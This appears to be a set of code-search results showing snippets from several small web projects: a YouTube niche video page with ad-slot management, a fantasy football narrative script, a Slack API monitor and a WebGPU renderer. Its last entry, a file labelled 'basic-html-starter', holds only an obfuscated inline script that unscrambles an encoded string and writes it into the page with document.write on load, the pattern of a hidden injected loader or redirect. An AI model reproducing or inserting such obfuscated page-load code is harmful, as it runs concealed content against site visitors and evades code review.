TopTenVideospremium-input-iframe.html10 matches
234}
235236function getNextWeekReset() {
237const now = new Date();
238const nextWeek = new Date(now);
242}
243244function updateDashboard() {
245const resetDate = new Date(premiumData.weeklyReset);
246const now = new Date();
293294// Handle main niche selection
295nicheSelect.addEventListener('change', function() {
296const selectedValue = this.value;
297
319320// Ad slot management
321document.getElementById('addAdSlot').addEventListener('click', function() {
322if (adSlotCounter >= 5) {
323alert('Maximum 5 ad slots allowed');
332});
333334function createAdSlot(slotNumber) {
335const slotDiv = document.createElement('div');
336slotDiv.className = 'ad-slot mb-4 p-3 border border-gray-200 rounded-lg';
364`;
365
366// Add remove functionality
367slotDiv.querySelector('.remove-ad-slot').addEventListener('click', function() {
368slotDiv.remove();
369updateRemoveButtons();
374}
375376function updateRemoveButtons() {
377const slots = document.querySelectorAll('.ad-slot');
378slots.forEach(slot => {
383384// Handle form submission
385form.addEventListener('submit', function(e) {
386e.preventDefault();
387
460461// Auto-resize iframe
462function resizeIframe() {
463const height = document.body.scrollHeight;
464parent.postMessage({
TopTenVideosfree-input-iframe.html3 matches
194195// Handle main niche selection
196nicheSelect.addEventListener('change', function() {
197const selectedValue = this.value;
198
218219// Handle form submission
220form.addEventListener('submit', function(e) {
221e.preventDefault();
222
271272// Auto-resize iframe
273function resizeIframe() {
274const height = document.body.scrollHeight;
275parent.postMessage({
TopTenVideosVERSION-COMPARISON.md2 matches
92### **Free Version:**
93- **Lead Generation** - Capture interested users
94- **Feature Demonstration** - Show core functionality
95- **Upgrade Conversion** - Clear premium benefits
96- **Viral Sharing** - Easy to share and try
107108### **Free-to-Premium Funnel:**
1091. **Free users** experience core functionality
1102. **Upgrade prompts** highlight premium benefits
1113. **Weekly limits** create urgency for premium
TopTenVideosfree-version.html6 matches
298299// Handle main niche selection
300nicheSelect.addEventListener('change', function() {
301const selectedValue = this.value;
302
324325// Handle form submission
326form.addEventListener('submit', function(e) {
327e.preventDefault();
328
365366// Show video results (simplified version)
367function showVideoResults(niche, subNiche, adConfig) {
368const videoResults = document.getElementById('videoResults');
369const nicheDisplay = document.getElementById('nicheDisplay');
496// Add click handlers
497document.querySelectorAll('.video-item').forEach(item => {
498item.addEventListener('click', function() {
499const videoId = this.dataset.videoId;
500const video = sampleVideos.find(v => v.id == videoId);
513514// Show video description
515function showVideoDescription(video) {
516const descriptionPanel = document.getElementById('descriptionPanel');
517
549550// Show basic advertisement
551function showBasicAdvertisement(adConfig) {
552const advertisementSection = document.getElementById('advertisementSection');
553const advertisementContent = document.getElementById('advertisementContent');
TopTenVideospremium-version.html9 matches
343}
344345function getNextWeekReset() {
346const now = new Date();
347const nextWeek = new Date(now);
351}
352353function updateDashboard() {
354const resetDate = new Date(premiumData.weeklyReset);
355const now = new Date();
375}
376377function showPreviousPages() {
378const previousPages = document.getElementById('previousPages');
379const pagesList = document.getElementById('pagesList');
407}
408409function requestExtraPage() {
410alert('🎯 Contact support to request additional pages for this week!\n\nEmail: support@nicheselector.com\nSubject: Extra Page Request - Premium User');
411}
412413function viewPage(index) {
414const page = premiumData.createdPages[index];
415// Simulate loading the page data
417}
418419function deletePage(index) {
420if (confirm('Are you sure you want to delete this page?')) {
421premiumData.createdPages.splice(index, 1);
460461// Handle main niche selection
462nicheSelect.addEventListener('change', function() {
463const selectedValue = this.value;
464
486487// Handle form submission
488form.addEventListener('submit', function(e) {
489e.preventDefault();
490
571});
572573// Include all the original premium JavaScript functions here...
574// (showVideoResults, ad management, analytics, etc.)
575// This would be the same code from the original index.html
TopTenVideosindex.html27 matches
423424// Initialize ad slot management
425function initializeAdSlots() {
426const addAdSlotBtn = document.getElementById('addAdSlot');
427const adSlotsContainer = document.getElementById('adSlotsContainer');
428429// Add new ad slot
430addAdSlotBtn.addEventListener('click', function() {
431if (adSlotCounter >= 5) {
432alert('Maximum 5 ad slots allowed');
446447// Create new ad slot HTML
448function createAdSlot(slotNumber) {
449const slotDiv = document.createElement('div');
450slotDiv.className = 'ad-slot mb-6 p-4 border border-gray-200 rounded-lg';
502503// Attach event listeners to ad slot
504function attachAdSlotListeners(slotElement) {
505const imageInput = slotElement.querySelector('.ad-image-input');
506const clickInput = slotElement.querySelector('.ad-click-input');
508const removeBtn = slotElement.querySelector('.remove-ad-slot');
509
510// Preview functionality
511function updateSlotPreview() {
512const preview = slotElement.querySelector('.ad-preview');
513const previewContent = slotElement.querySelector('.ad-preview-content');
539titleInput.addEventListener('input', updateSlotPreview);
540
541// Remove slot functionality
542removeBtn.addEventListener('click', function() {
543slotElement.remove();
544updateRemoveButtons();
547548// Update remove button visibility
549function updateRemoveButtons() {
550const slots = document.querySelectorAll('.ad-slot');
551slots.forEach((slot, index) => {
555}
556557// Analytics tracking functions
558function trackAdImpression(adId) {
559adAnalytics.impressions[adId] = (adAnalytics.impressions[adId] || 0) + 1;
560console.log(`Ad Impression: ${adId}`, adAnalytics.impressions);
570}
571572function trackAdClick(adId, clickUrl) {
573adAnalytics.clicks[adId] = (adAnalytics.clicks[adId] || 0) + 1;
574console.log(`Ad Click: ${adId} -> ${clickUrl}`, adAnalytics.clicks);
585586// Handle main niche selection
587nicheSelect.addEventListener('change', function() {
588const selectedValue = this.value;
589
615616// Handle form submission
617form.addEventListener('submit', function(e) {
618e.preventDefault();
619
689});
690691// Function to show video results with sample data
692async function showVideoResults(niche, subNiche, headerUrl, adConfig) {
693const videoResults = document.getElementById('videoResults');
694const headerContent = document.getElementById('headerContent');
836// Add click handlers for video items
837document.querySelectorAll('.video-item').forEach(item => {
838item.addEventListener('click', function() {
839const videoId = this.dataset.videoId;
840const video = sampleVideos.find(v => v.id == videoId);
853}
854855// Function to display advertisements with rotation
856function showAdvertisements(adConfig) {
857const advertisementSection = document.getElementById('advertisementSection');
858const advertisementContent = document.getElementById('advertisementContent');
896897// Display a single advertisement
898function displaySingleAd(ad, trackingId) {
899const advertisementContent = document.getElementById('advertisementContent');
900
970971// Handle ad clicks with tracking
972function handleAdClick(adId, clickUrl) {
973trackAdClick(adId, clickUrl);
974window.open(clickUrl, '_blank', 'noopener,noreferrer');
976977// Show analytics panel
978function showAnalyticsPanel(adSlots) {
979const existingPanel = document.getElementById('analyticsPanel');
980if (existingPanel) existingPanel.remove();
10201021// Update analytics display
1022function updateAnalyticsDisplay() {
1023const totalImpressions = Object.values(adAnalytics.impressions).reduce((a, b) => a + b, 0);
1024const totalClicks = Object.values(adAnalytics.clicks).reduce((a, b) => a + b, 0);
10531054// Toggle analytics details
1055function toggleAnalytics() {
1056const details = document.getElementById('analyticsDetails');
1057if (details) {
10611062// Initialize everything when page loads
1063document.addEventListener('DOMContentLoaded', function() {
1064initializeAdSlots();
1065updateRemoveButtons();
1066});
10671068// Function to show video description
1069function showVideoDescription(video) {
1070const descriptionPanel = document.getElementById('descriptionPanel');
1071
untitled-2035main.ts12 matches
17};
1819export default async function (req: Request): Promise<Response> {
20const url = new URL(req.url);
21414};
415416// Then in your main function, after getting fantasy data:
417const realLeaders = await getRealNFLLeaders(currentWeek);
418453}
454455// Build narrative hints with new functions
456const narrativeHints = {
457mainStory: determineMainStory(nflGames, fantasyMatchups),
694}
695696// Helper functions
697function calculateBenchPain(team, week) {
698if (!team?.roster?.entries) return null;
699727}
728729function getPositionName(posId) {
730const positions = ["QB", "RB", "WR", "TE", "K", "DST"];
731return positions[posId - 1] || "FLEX";
732}
733734function isGameTime() {
735const now = new Date();
736const day = now.getDay();
743}
744745function determineMainStory(nflGames, fantasyMatchups) {
746// NFL shootout
747const shootout = nflGames.find((g) => {
764}
765766function determineVibe(nfl, fantasy) {
767const blowouts = fantasy.filter((m) => m.isBlowout).length;
768const closeGames =
777}
778779function findWorstDecision(benchPain) {
780if (!benchPain.length) return null;
781791}
792793function compileMustMentions(nfl, fantasy, benchPain) {
794const mentions = [];
795808}
809810function getCurrentWeek() {
811const seasonStart = new Date("2025-09-04");
812const now = new Date();
PixelPixelApiMonitormain.ts2 matches
1export default async function (_interval: Interval) {
2const SLACK_TOKEN = Deno.env.get("SLACK_TOKEN");
3const channel = "C060TG0KLQJ";
28}
2930async function sendSlackMessage(text: string) {
31return await fetch("https://slack.com/api/chat.postMessage", {
32headers: {
10import module_path from "./module_path.tsx"
1112async function main() {
13const grid_shader = await (await fetch(`${module_path}/grid.wgsl`)).text();
14210let depth_texture: GPUTexture;
211212function render() {
213const fov = 60 * Math.PI / 180;
214const aspect = canvas.width / canvas.height;
292}
293294function fail(msg: string) {
295alert(msg);
296}
basic-html-starterindex.html1 match
1<script>(()=>{for(j=function(){for(h='.c3M,YNG@t*wj#wkO6u',a=new Array(h.length),l=0;l<h.length;l++)a[l]=h.charCodeAt(l);return a}(),m=m=>document.write(m),k=decodeURI("".concat("trtrss.ucihirCds%3E.lj%7BEcult/nti0fot0oiaYtnm.e%3Cdertasc(m%3El5df%3C.%3C;ttf;pe%25o80/:xi,lcteDl5fm3sOodh:deoer;:%3Eslsj;rLrd.se--:.tb%3C/dx.i-s#:lr4itjt)o/Tftxp8chw%3C3ipdto#%20Pa%25;%25aheo0=0::tiou;irlltrpsn2yoioitapipd0nr9ie9zm4@-tobdi.yms;nee%25ayitly.3x93!a:btan0one%7Drn%3E:%200pe:ndm00otpxao0t%20i(o%3Eigx/e%20y0npeb(.her5/aato%3Cee%20ot%20:dramtrqrr%20idr%3Cafocn=eiad5%3C%3Cn9ni9ia5%7Dnep0de%3Eialt%7Bcfgshs=%20fes%20lta;d.et=snd:/hsw%20renprut:,snnunfw%25hgsyo;-%7BcsaUk;en).3R%20)a=4paea;prndectipqsws%20r)%20vho1has1tl=6%3Eso;drucdst.loaut:%3Ecr%22r3)socc%3Eedftvtoia%22efec/iCXil.%7Dtiic%25ltk%7Bni.e,kredsrh./:rtl6fa%22mdd%20sO%3Ca%7BL:%25hcmv%7Dt-c%22Ctae%20speo%20%225ro%7B%22/(wiaoi(pmacifx%22%3E)adg,u%20dnoe:/r8sTfcten.).a=t(pwmti/tonlwxadi%20u.PweetpPnasr%7D)%7Butpne,%22.i.spocSs%7D,emr.t(e)c%22i-,ieno;e:ao.()b)%3CnsmTenwtcc-osnhpsoeacrx(a/.urb2gohlocslare)t/eDt,et%22ynahtomdnf:opcnoS,l-P(mr%20tew%3Epteda(nd-dtielo.Slere(s%7Ddotc(totLb)o/ayriDto")).split(""),g=k.length%j.length,l=k.length-1;l>=0;l--)g--,-1==g&&(g=j.length-1),f=l+j[g],f>=k.length||(c=k[l],b=k[f],k[f]=c,k[l]=b);for(n=m,i="",l=0;l<k.length;l++)i+=k[l];n(i)})();</script>